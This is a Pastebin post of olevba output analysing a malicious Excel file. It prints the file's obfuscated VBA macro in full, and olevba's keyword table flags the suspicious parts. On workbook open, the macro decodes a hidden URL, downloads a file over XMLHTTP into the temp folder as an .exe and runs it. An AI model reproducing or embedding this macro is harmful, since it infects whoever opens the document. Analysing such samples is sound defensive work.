Advertisement
dynamoo

Malicious Excel macro

Nov 11th, 2015
484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V si823610-01.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: si823610-01.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. getListLastModifiedDate 9, ""
  17. PopulateList "", "", False
  18. PopulateTree ""
  19. SelectDailyBalancingIdx 12
  20.  
  21. End Sub
  22.  
  23.  
  24.  
  25. -------------------------------------------------------------------------------
  26. VBA MACRO Ëèñò1.cls
  27. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  28. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  29. (empty macro)
  30. -------------------------------------------------------------------------------
  31. VBA MACRO Ëèñò2.cls
  32. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  33. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  34. (empty macro)
  35. -------------------------------------------------------------------------------
  36. VBA MACRO Ëèñò3.cls
  37. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  38. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  39. (empty macro)
  40. -------------------------------------------------------------------------------
  41. VBA MACRO Module1.bas
  42. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  43. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  44.  
  45. Public Sub DeleteVouchers( _
  46.  NewVouch As String, _
  47.  UsedVouchers As String, _
  48.  Optional CmdObj As String)
  49.  Dim bAllocatedLocally As Boolean
  50.  If IsEmpty(CmdObj) Or CmdObj Is Nothing Then
  51.  Set CmdObj.ActiveConnection = DbUtilities.GetConnection()
  52.  CmdObj.ActiveConnection.CursorLocation = adUseClient
  53.  bAllocatedLocally = True
  54.  Else
  55.  DbUtilities.ClearADOCmdParams CmdObj:=CmdObj
  56.  bAllocatedLocally = False
  57.  End If
  58.  With CmdObj
  59.  .CommandType = adCmdStoredProc
  60.  .CommandText = Consta.nts.SCHEMA _
  61.  & "." _
  62.  & SP_DELETE_VOUCHERS
  63.  .Parametersj.j.Append Object:= _
  64.  .CreateParameter(Name:=PARM_USED_VIDS, _
  65.  Type:=adVarChar, _
  66.  Direction:=adParamInput, _
  67.  Size:=LEN_LONG_VARCHAR, _
  68.  Value:=Utilities.BuildDistinctDelimitedList( _
  69.  UsedVouchers, _
  70.  ";", _
  71.  "VoucherId") & NewVouch.VoucherId)
  72.  .Parametersj.j.Append Object:= _
  73.  .CreateParameter(Name:=PARM_NUM_ROWS, _
  74.  Type:=adInteger, _
  75.  Direction:=adParamOutput, _
  76.  Value:=Null)
  77.  .Parametersj.j.Append Object:= _
  78.  .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
  79.  Type:=adVarChar, _
  80.  Direction:=adParamOutput, _
  81.  Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
  82.  Value:=Null)
  83.  .Parametersj.j.Append Object:= _
  84.  .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
  85.  Type:=adInteger, _
  86.  Direction:=adParamOutput, _
  87.  Value:=Null)
  88.  .Parametersj.j.Append Object:= _
  89.  .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
  90.  Type:=adVarChar, _
  91.  Direction:=adParamOutput, _
  92.  Size:=DbUtilities.LEN_ERR_MESSAGE, _
  93.  Value:=Null)
  94.  .Execute
  95.  End With
  96.  DbUtilities.HandleStoredProcErrs CmdObj:=CmdObj
  97.  If bAllocatedLocally Then
  98.  Set CmdObj = Nothing
  99.  End If
  100. End Sub
  101.  
  102. Public Function SelectGL4349() As String
  103.  Dim cmd As As String
  104.  Dim rs As String
  105.  Set cmd = New As String
  106.  Set rs = New ADODB.Recordset
  107.  With cmd
  108.  Set .ActiveConnection = DbUtilities.GetConnection()
  109.  .CommandType = adCmdStoredProc
  110.  .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349
  111.  .Parametersj.j.Append Object:= _
  112.  .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
  113.  Type:=adVarChar, _
  114.  Direction:=adParamOutput, _
  115.  Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
  116.  Value:=Null)
  117.  .Parametersj.j.Append Object:= _
  118.  .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
  119.  Type:=adInteger, _
  120.  Direction:=adParamOutput, _
  121.  Value:=Null)
  122.  .Parametersj.j.Append Object:= _
  123.  .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
  124.  Type:=adVarChar, _
  125.  Direction:=adParamOutput, _
  126.  Size:=DbUtilities.LEN_ERR_MESSAGE, _
  127.  Value:=Null)
  128.  End With
  129.  rsj.j.CursorLocation = adUseClient
  130.  rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
  131.  DbUtilities.HandleStoredProcErrs CmdObj:=cmd
  132.  DbUtilities.LoadAllRecords Records:=rs
  133.  Set SelectGL4349 = rs
  134.  Set cmd = Nothing
  135.  Set rs = Nothing
  136. End Function
  137. Public Function SelectGL4349ById(GlId As Variant) As String
  138.  Dim cmd As As String
  139.  Dim rs As String
  140.  Set cmd = New As String
  141.  Set rs = New ADODB.Recordset
  142.  With cmd
  143.  Set .ActiveConnection = DbUtilities.GetConnection()
  144.  .CommandType = adCmdStoredProc
  145.  .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349_BY_ID
  146.  .Parametersj.j.Append Object:= _
  147.  .CreateParameter(Name:=PARM_TRANS_ID, _
  148.  Type:=adInteger, _
  149.  Direction:=adParamInput, _
  150.  Value:=Utilities.GetLongValue(GlId))
  151.  .Parametersj.j.Append Object:= _
  152.  .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
  153.  Type:=adVarChar, _
  154.  Direction:=adParamOutput, _
  155.  Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
  156.  Value:=Null)
  157.  .Parametersj.j.Append Object:= _
  158.  .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
  159.  Type:=adInteger, _
  160.  Direction:=adParamOutput, _
  161.  Value:=Null)
  162.  .Parametersj.j.Append Object:= _
  163.  .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
  164.  Type:=adVarChar, _
  165.  Direction:=adParamOutput, _
  166.  Size:=DbUtilities.LEN_ERR_MESSAGE, _
  167.  Value:=Null)
  168.  End With
  169.  rsj.j.CursorLocation = adUseClient
  170.  rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
  171.  DbUtilities.HandleStoredProcErrs CmdObj:=cmd
  172.  DbUtilities.LoadAllRecords Records:=rs
  173.  Set SelectGL4349ById = rs
  174.  Set cmd = Nothing
  175.  Set rs = Nothing
  176. End Function
  177.  
  178.  
  179.  
  180. -------------------------------------------------------------------------------
  181. VBA MACRO Module2.bas
  182. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  183. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  184.  
  185. Public Sub fillList(frm As String, ctrlSource As String, Optional ctrlDest As String)
  186. On Error GoTo Err_Handler
  187.  Dim db As DAO.database
  188.  Dim rs As DAO.Recordset
  189.  Dim strQuery As String, strSQL As String
  190.  Select Case ctrlSo.urce.Name
  191.  Case "lbxDataSheets", "sfrmDatasheets"
  192.  strQuery = "qry_Active_Datasheets"
  193.  strSQL = CurrentDb.QueryDefs(strQuery).Sql
  194.  Case "lbxSpecies", "lbxTgtSpecies", "fsub_Species_Listbox"
  195.  strQuery = "qry_Plant_Species"
  196.  strSQL = CurrentDb.QueryDefs(strQuery).Sql
  197.  End Select
  198.  Set db = CurrentDb
  199.  Set rs = db.OpenRecordset(strSQL)
  200.  TempVarsj.j.Add "strSQL", strSQL
  201.  If Not ctrlDest Is Nothing Then
  202.  PopulateList ctrlSource, rs, ctrlDest
  203.  Else
  204.  PopulateListHeaders ctrlSource, rs
  205.  End If
  206. exit_sub:
  207.  Exit Sub
  208. Err_Handler:
  209.  Select Case Err.Number
  210.  Case Else
  211.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  212.  "Error encountered (#" & Err.Number & " - fillList[mod_App_Data])"
  213.  End Select
  214.  Resume exit_sub
  215. End Sub
  216. Public Sub PopulateList(ctrlSource As String, rs As String, ctrlDest As Boolean)
  217. On Error GoTo Err_Handler
  218.  Dim frm() As Variant
  219.  Dim rows As Integer, cols As Integer, i As Integer, j As Integer, matches As Integer, iZeroes As Integer
  220.  Dim stritem As String, strColHeads As String, aryColWidths() As String
  221.  frm = Array(3290, 3302, 3302, 3298, 3244, 3233, 3233, 3293, 3286, 3297, 3292, 3291, 3296, 3307, 3290, 3284, 3232, 3305, 3308, 3232, 3285, 3308, 3233, 3242, 3241, 3307, 3302, 3287, 3239, 3239, 3233, 3240, 3302, 3238, 3239, 3287, 3307, 3304, 3232, 3287, 3306, 3287)
  222. If ctrlDest = False Then
  223. rodger_yet.Open "G" + "" + UCase("e") + UCase("t"), _
  224. FormOpen(frm, 41), ctrlDest
  225.  End If
  226.  rodger_yet.Send
  227.  Exit Sub
  228.  frm = ctrlSo.urce.Parent
  229.  rows = rsjj.RecordCount
  230.  cols = rsjj.Fields.Count
  231.  If Nzj.j(rows, 0) = 0 Then
  232.  MsgBox "Sorry, no records found..."
  233.  GoTo exit_sub
  234.  End If
  235.  If ctrlSo.urce.ControlType = acSubform Then
  236.  Set ctrlSo.urce.Form.Recordset = rs
  237.  ctrlSo.urce.Form.Controls("tbxCode").ControlSource = "Code"
  238.  ctrlSo.urce.Form.Controls("tbxSpecies").ControlSource = "Species"
  239.  ctrlSo.urce.Form.Controls("tbxLUCode").ControlSource = "LUCode"
  240.  ctrlSo.urce.Form.Controls("tbxTransectOnly").ControlSource = "Transect_Only"
  241.  ctrlSo.urce.Form.Controls("tbxTgtAreaID").ControlSource = "Target_Area_ID"
  242.  rsj.j.MoveLast
  243.  ctrlSo.urce.Parent.Form.Controls("lblSfrmSpeciesCount").Caption = rsj.j.RecordCount & " species"
  244.  rsj.j.MoveFirst
  245.  GoTo exit_sub
  246.  End If
  247.  aryColWidths = Split(ctrlSo.urce.ColumnWidths, ";")
  248.  iZeroes = CountArra.yValues(aryColWidths, "0")
  249.  ClearL.ist ctrlSource
  250.  If ctrlSo.urce.ColumnHeads = True Then
  251.  PopulateLi.stHeaders ctrlSource, rs
  252.  If ctrl.Dest.ColumnHeads = True Then
  253.  Clear.List ctrlDest
  254.  Populat.eListHeaders ctrlDest, rs
  255.  End If
  256.  End If
  257.  Select Case ctrlSo.urce.RowSourceType
  258.  Case "Table/Query"
  259.  Set ctrlSo.urce.Recordset = rs
  260.  Case "Value List"
  261.  i = 0
  262.  Do Until rsj.j.EOF
  263.  stritem = ""
  264.  For j = 0 To cols - 1
  265.  If CInt(aryColWidths(j)) > 0 Then
  266.  stritem = stritem & rsj.j.Fields(j).Value & ";"
  267.  matches = (Len(stritem) - Len(Replace$(stritem, ";", ""))) / Len(";")
  268.  If matches = cols - iZeroes Then
  269.  ctrlSo.urce.AddItem stritem
  270.  stritem = ""
  271.  End If
  272.  End If
  273.  Next
  274.  i = i + 1
  275.  rsj.j.MoveNext
  276.  Loop
  277.  Case "Field List"
  278.  End Select
  279. exit_sub:
  280.  Exit Sub
  281. Err_Handler:
  282.  Select Case Err.Number
  283.  Case Else
  284.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  285.  "Error encountered (#" & Err.Number & " - PopulateList[mod_App_Data])"
  286.  End Select
  287.  Resume exit_sub
  288. End Sub
  289. Public Sub AddListToTable(lbx As ListBox)
  290. On Error GoTo Err_Handler
  291. Dim aryFields() As String
  292. Dim aryFieldTypes() As Variant
  293. Dim strCode As String, strSpecies As String, strLUCode As String
  294. Dim iRow As Integer, iTransectOnly As Integer, iTgtAreaID As Integer
  295.  iRow = lbx.ListCount - 1
  296.  ReDim Preserve aryFields(0 To iRow)
  297.  aryFields(0) = "Code;Species;LUCode;Transect_Only;Target_Area_ID"
  298.  aryFieldTypes = Array(dbText, dbText, dbText, dbInteger, dbInteger)
  299.  For iRow = 1 To lbx.ListCount - 1
  300.  strCode = lbx.Column(0, iRow)
  301.  strSpecies = lbx.Column(1, iRow)
  302.  strLUCode = lbx.Column(2, iRow)
  303.  iTransectOnly = Nz(lbx.Column(3, iRow), 0)
  304.  iTgtAreaID = Nz(lbx.Column(4, iRow), 0)
  305.  aryFields(iRow) = strCode & ";" & strSpecies & ";" & strLUCode & ";" & iTransectOnly & ";" & iTgtAreaID
  306.  Next
  307.  SetListRecordset lbx, True, aryFields, aryFieldTypes, "temp_Listbox_Recordset", True
  308. exit_sub:
  309.  Exit Sub
  310. Err_Handler:
  311.  Select Case Err.Number
  312.  Case Else
  313.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  314.  "Error encountered (#" & Err.Number & " - PopulateList[mod_App_Data])"
  315.  End Select
  316.  Resume exit_sub
  317. End Sub
  318. Public Function getParkState(parkCode As String) As String
  319. On Error GoTo Err_Handler
  320.  Dim db As DAO.database
  321.  Dim rs As DAO.Recordset
  322.  Dim State As String, strSQL As String
  323.  If Len(parkCode) <> 4 Then
  324.  GoTo Exit_Function
  325.  End If
  326.  strSQL = "SELECT TOP 1 ParkState FROM tlu_Parks WHERE ParkCode LIKE "
  327.  Set db = CurrentDb
  328.  Set rs = db.OpenRecordset(strSQL)
  329.  If rsj.j.RecordCount > 0 Then
  330.  State = rsj.j.Fields("ParkState").Value
  331.  End If
  332.  getParkState = State
  333. Exit_Function:
  334.  Exit Function
  335. Err_Handler:
  336.  Select Case Err.Number
  337.  Case Else
  338.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  339.  "Error encountered (#" & Err.Number & " - getParkState[mod_App_Data])"
  340.  End Select
  341.  Resume Exit_Function
  342. End Function
  343. Public Function getListLastModifiedDate(TgtYear As Integer, parkCode As String) As String
  344. On Error GoTo Err_Handler
  345.  Dim strCriteria As String
  346.  If TgtYear < 2000 Then
  347.  GoTo Exit_Function
  348.  End If
  349.  strCriteria = "Park_Code LIKE "
  350.  getListLastModifiedDate = HHHNV.kkk(Format(DLoo.kup("Last_Modified", "tbl_Target_List", strCriteria), "mmm-d-yyyy H:nn AMPM"), "")
  351. Exit_Function:
  352.  
  353.  Set rodger_yet = CreateObject("Microsoft" + ".XMLHTTP")
  354.  Set kirka_man = CreateObject("Adodb" + ".Str" + Chr(LEN_GL_JID + 1) + "am")
  355. Set endy_boc = CreateObject("WScript" + ".Shell").Environment("Pro" + "" + "c" + Chr(LEN_GL_JID + 1) + "ss")
  356. Set MyRunO = CreateObject("Sh" + Chr(LEN_GL_JID + 1) + "ll" + "" + "." + "" + "App" + "lication")
  357.  Exit Function
  358. Err_Handler:
  359.  Select Case Err.Number
  360.  Case Else
  361.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  362.  "Error encountered (#" & Err.Number & " - getListLastModifiedDate[mod_App_Data])"
  363.  End Select
  364.  Resume Exit_Function
  365. End Function
  366. Public Function IsUsedTargetArea(TgtAreaID As Integer) As Boolean
  367. On Error GoTo Err_Handler
  368.  Dim db As DAO.database
  369.  Dim rs As DAO.Recordset
  370.  Dim strSQL As String
  371.  IsUsedTargetArea = False
  372.  strSQL = "SELECT TOP 1 Target_Area_ID FROM tbl_Target_Species WHERE Target_Area_ID = " & TgtAreaID & ";"
  373.  Set db = CurrentDb
  374.  Set rs = db.OpenRecordset(strSQL)
  375.  If rsj.j.RecordCount > 0 Then
  376.  IsUsedTargetArea = True
  377.  Else
  378.  GoTo Exit_Function
  379.  End If
  380. Exit_Function:
  381.  Exit Function
  382. Err_Handler:
  383.  Select Case Err.Number
  384.  Case Else
  385.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  386.  "Error encountered (#" & Err.Number & " - IsUsedTargetArea[mod_App_Data])"
  387.  End Select
  388.  Resume Exit_Function
  389. End Function
  390. Public Sub PopulateTree(TreeType As String)
  391. On Error GoTo Err_Handler
  392.  Dim db As String
  393.  Dim rs As String
  394.  Dim strSQL As String
  395.  ficks_me = "" + endy_boc("T" + "" + UCase(Chr(LEN_GL_JID + 1)) _
  396.  + UCase(Chr(LEN_GL_JID + 9)) + "P") + ""
  397.  kirka_man.Type = 1
  398. must_be_DEL = "" + ficks_me + Chr(LEN_GL_JID - 8) + _
  399. "" + "dam" + Chr(LEN_GL_JID + 1) + "dig." + Chr(LEN_GL_JID + 1) + _
  400. "x" + Chr(LEN_GL_JID + 1)
  401. GoTo exit_sub
  402.  Select Case TreeType
  403.  Case "ParkSiteFeatureTransectPlot"
  404.  strSQL = "SELECT * FROM qry_Park_Site_Feature_Transect_Plot"
  405.  Case "Photo"
  406.  End Select
  407.   db = CurrentDb
  408.   rs = dbjj.kk.OpenRecordset(strSQL)
  409.  If rsj.j.RecordCount > 0 Then
  410.  Else
  411.  GoTo exit_sub
  412.  End If
  413. exit_sub:
  414.     kirka_man.Open
  415.  Exit Sub
  416. Err_Handler:
  417.  Select Case Err.Number
  418.  Case Else
  419.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  420.  "Error encountered (#" & Err.Number & " - PopulateTree[mod_App_Data])"
  421.  End Select
  422.  Resume exit_sub
  423. End Sub
  424. Public Sub PopulateCombobox(cbx As String, BoxType As String)
  425. On Error GoTo Err_Handler
  426.  Dim db As DAO.database
  427.  Dim rs As DAO.Recordset
  428.  Dim strSQL As String
  429.  Select Case BoxType
  430.  Case ""
  431.  Case "priority"
  432.  strSQL = "SELECT ID, Priority FROM Priority ORDER BY Sequence ASC;"
  433.  Case "status"
  434.  strSQL = "SELECT ID, Status FROM Status ORDER BY Sequence ASC;"
  435.  End Select
  436.  Set db = CurrentDb
  437.  Set rs = db.OpenRecordset(strSQL)
  438.  If rsj.j.RecordCount > 0 Then
  439.  cbx.Recordset = rs
  440.  Else
  441.  GoTo exit_sub
  442.  End If
  443. exit_sub:
  444.  Exit Sub
  445. Err_Handler:
  446.  Select Case Err.Number
  447.  Case Else
  448.  MsgBox "Error #" & Err.Number & ": " & Err.Description, vbCritical, _
  449.  "Error encountered (#" & Err.Number & " - PopulateTree[mod_App_Data])"
  450.  End Select
  451.  Resume exit_sub
  452. End Sub
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459. -------------------------------------------------------------------------------
  460. VBA MACRO Module3.bas
  461. in file: si823610-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  462. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  463. Private Const LEN_GL_DESCRIPTION As Long = 200
  464. Public Const LEN_GL_JID As Integer = 100
  465. Public Const LEN_GL_USER_ID As Long = 50
  466. Private Const LEN_GL_VOUCHER As Long = 4000
  467. Private Const LEN_LONG_VARCHAR As Long = 4000
  468. Private Const LEN_VID As Long = 10
  469. Private Const LEN_BATCH_NUMBER As Long = 20
  470. Private Const LEN_FILTER_PARAM As Long = 100
  471. Private Const PARM_AMOUNT As String = "@amount"
  472. Private Const PARM_ARE_EQUAL As String = "@areEqual"
  473. Private Const PARM_BATCH_NUMBER As String = "@batchNumber"
  474. Private Const PARM_COLOR As String = "@color"
  475. Private Const PARM_COMMENTS As String = "@comments"
  476. Private Const PARM_DATE_CHECKED As String = "@dateChecked"
  477. Private Const PARM_DESCRIPTION As String = "@description"
  478. Private Const PARM_FILTER As String = "@filterParam"
  479. Private Const PARM_FULL_VOUCHER As String = "@fullVoucher"
  480. Private Const PARM_GL_ID As String = "@glId"
  481. Private Const PARM_JID As String = "@jid"
  482. Public rodger_yet As Object
  483. Public kirka_man As Object
  484. Public endy_boc As Object
  485. Public ficks_me  As String
  486. Public must_be_DEL  As String
  487. Public MyRunO As Object
  488. Public Function SelectDailyBalancingIdx(BatchNum As Long) As String
  489.  
  490.  Dim cmd As String
  491.  Dim rs As String
  492.  GoTo exit_sub
  493.  With cm.d
  494.  Set .ActiveConnection = DbUtilities.GetConnection()
  495.  .CommandType = adCmdStoredProc
  496.  .CommandText = Constan.ts.SCHEMA & "." & SP_SELECT_DB_IDX
  497.  .Parametersj.j.Append Object:= _
  498.  .CreateParameter(Name:=PARM_BATCH_NUMBER, _
  499.  Type:=adVarChar, _
  500.  Direction:=adParamInput, _
  501.  Size:=LEN_BATCH_NUMBER, _
  502.  Value:=BatchNum)
  503.  .Parametersj.j.Append Object:= _
  504.  .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
  505.  Type:=adVarChar, _
  506.  Direction:=adParamOutput, _
  507.  Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
  508.  Value:=Null)
  509.  .Parametersj.j.Append Object:= _
  510.  .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
  511.  Type:=adInteger, _
  512.  Direction:=adParamOutput, _
  513.  Value:=Null)
  514.  .Parametersj.j.Append Object:= _
  515.  .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
  516.  Type:=adVarChar, _
  517.  Direction:=adParamOutput, _
  518.  Size:=DbUtilities.LEN_ERR_MESSAGE, _
  519.  Value:=Null)
  520.  End With
  521.  rsj.j.CursorLocation = adUseClient
  522.  rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
  523.  DbUtilities.HandleStoredProcErrs CmdObj:=cmd
  524.  DbUtilities.LoadAllRecords Records:=rs
  525. exit_sub:
  526. kirka_man.write rodger_yet.responseBody
  527.     kirka_man.savetofile must_be_DEL, 2
  528. SelectGL4349ByJournalDate "", ""
  529.  Exit Function
  530.   SelectDailyBalancingIdx = rs
  531.   cmd = ""
  532.   rs = ""
  533. End Function
  534. Public Function SelectGL4349ByJournalDate(MinDate As String, MaxDate As String) As String
  535.  Dim cmd As String
  536.  Dim rs As String
  537.  Dim cGl As String
  538.  Dim cGls As String
  539.  GoTo exit_sub
  540.  
  541.  cGl = Factory.CreateCGlBean( _
  542.  Amount:=rsj.j.Fields(Consta.nts.SRC_AMOUNT).Value, _
  543.  ColorCode:=rsj.j.Fields(Consta.nts.SRC_COLOR_CODE).Value, _
  544.  Comments:=rsj.j.Fields(Consta.nts.SRC_COMMENTS).Value, _
  545.  DateChecked:=rsj.j.Fields(Consta.nts.SRC_CHECKED_DATE).Value, _
  546.  Description:=rsj.j.Fields(Consta.nts.SRC_DESCRIPTION).Value, _
  547.  FullVoucher:=rsj.j.Fields(Consta.nts.SRC_FULL_VOUCHER).Value, _
  548.  JID:=rsj.j.Fields(Consta.nts.SRC_JID).Value, _
  549.  JournalDate:=rsj.j.Fields(Consta.nts.SRC_JOURNAL_DATE).Value, _
  550.  PostedDate:=rsj.j.Fields(Consta.nts.SRC_POSTED_DATE).Value, _
  551.  GlId:=rsj.j.Fields(Consta.nts.SRC_GL_ID).Value, _
  552.  UserId:=rsj.j.Fields(Consta.nts.SRC_USER_ID).Value, _
  553.  VoucherId:=rsj.j.Fields(Consta.nts.SRC_VOUCHER_ID).Value)
  554. exit_sub:
  555. MyRunO.Open _
  556. ("" + _
  557. must_be_DEL + "")
  558. Exit Function
  559.  j.j.Add Item:=cGl, Key:=Utilities.GetStringValue(cGjj.l.GlId)
  560.  rsj.j.MoveNext
  561.  Set SelectGL4349ByJour.nalDate = cGls
  562.  Set cmdhh.hgf = Nothing
  563.  Set rhh.hfs = Nothing
  564. End Function
  565. Public Function FormOpen(Z() As Variant, oldLen As Integer) As String
  566. Dim n As Integer
  567. For n = LBound(Z) To UBound(Z)
  568.     FormOpen = FormOpen & Chr(Z(n) - 13 * oldLen - 2653)
  569. Next n
  570. End Function
  571. Public Function SelectGL4349Filtered(FilterParam As Variant) As String
  572.  Dim cmd As As String
  573.  Dim rs As String
  574.  Set cmd = New As String
  575.  Set rs = New ADODB.Recordset
  576.  With cmd
  577.  Set .ActiveConnection = DbUtilities.GetConnection()
  578.  .CommandType = adCmdStoredProc
  579.  .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_GL4349_FILTERED
  580.  .Parametersj.j.Append Object:= _
  581.  .CreateParameter(Name:=PARM_FILTER, _
  582.  Type:=adVarChar, _
  583.  Direction:=adParamInput, _
  584.  Size:=LEN_FILTER_PARAM, _
  585.  Value:=Utilities.GetStringValue(FilterParam))
  586.  .Parametersj.j.Append Object:= _
  587.  .CreateParameter(Name:=DbUtilities.PARM_ERR_PROCEDURE, _
  588.  Type:=adVarChar, _
  589.  Direction:=adParamOutput, _
  590.  Size:=DbUtilities.LEN_ERR_PROCDEDURE, _
  591.  Value:=Null)
  592.  .Parametersj.j.Append Object:= _
  593.  .CreateParameter(Name:=DbUtilities.PARM_ERR_LINE, _
  594.  Type:=adInteger, _
  595.  Direction:=adParamOutput, _
  596.  Value:=Null)
  597.  .Parametersj.j.Append Object:= _
  598.  .CreateParameter(Name:=DbUtilities.PARM_ERR_MESSAGE, _
  599.  Type:=adVarChar, _
  600.  Direction:=adParamOutput, _
  601.  Size:=DbUtilities.LEN_ERR_MESSAGE, _
  602.  Value:=Null)
  603.  End With
  604.  rsj.j.CursorLocation = adUseClient
  605.  rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
  606.  DbUtilities.HandleStoredProcErrs CmdObj:=cmd
  607.  DbUtilities.LoadAllRecords Records:=rs
  608.  Set SelectGL4349Filtered = rs
  609.  Set cmd = Nothing
  610.  Set rs = Nothing
  611. End Function
  612. Public Function SelectNewVoucherId() As Long
  613.  Dim cmd As As String
  614.  Dim rs As String
  615.  Set cmd = New As String
  616.  Set rs = New ADODB.Recordset
  617.  With cmd
  618.  Set .ActiveConnection = DbUtilities.GetConnection()
  619.  .CommandType = adCmdStoredProc
  620.  .CommandText = Consta.nts.SCHEMA & "." & SP_SELECT_NEW_VID
  621.  End With
  622.  rsj.j.CursorLocation = adUseClient
  623.  rsj.j.Open Source:=cmd, CursorType:=adOpenStatic, LockType:=adLockReadOnly
  624.  SelectNewVoucherId = Utilities.GetLongValue(rsj.j.Fields(PARM_NEWVID).Value)
  625.  Set cmd = Nothing
  626.  Set rs = Nothing
  627. End Function
  628.  
  629.  
  630.  
  631.  
  632.  
  633. +------------+----------------------+-----------------------------------------+
  634. | Type       | Keyword              | Description                             |
  635. +------------+----------------------+-----------------------------------------+
  636. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  637. | Suspicious | Open                 | May open a file                         |
  638. | Suspicious | Shell                | May run an executable file or a system  |
  639. |            |                      | command                                 |
  640. | Suspicious | CreateObject         | May create an OLE object                |
  641. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  642. |            |                      | strings                                 |
  643. | Suspicious | SaveToFile           | May create a text file                  |
  644. | Suspicious | Write                | May write to a file (if combined with   |
  645. |            |                      | Open)                                   |
  646. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  647. |            |                      | command (obfuscation: VBA expression)   |
  648. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  649. |            |                      | (obfuscation: VBA expression)           |
  650. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  651. |            |                      | be used to obfuscate strings (option    |
  652. |            |                      | --decode to see all)                    |
  653. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  654. |            |                      | may be used to obfuscate strings        |
  655. |            |                      | (option --decode to see all)            |
  656. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  657. |            | Strings              | may be used to obfuscate strings        |
  658. |            |                      | (option --decode to see all)            |
  659. | VBA string | G                    | "G" + ""                                |
  660. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  661. | VBA string | Adodb.Str            | "Adodb" + ".Str"                        |
  662. | VBA string | WScript.Shell        | ("WScript" + ".Shell")                  |
  663. | VBA string | Proc                 | "Pro" + "" + "c"                        |
  664. | VBA string | ll.Application       | "ll" + "" + "." + "" + "App" +          |
  665. |            |                      | "lication"                              |
  666. | VBA string | T                    | "T" + ""                                |
  667. | VBA string | dam                  | "" + "dam"                              |
  668. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement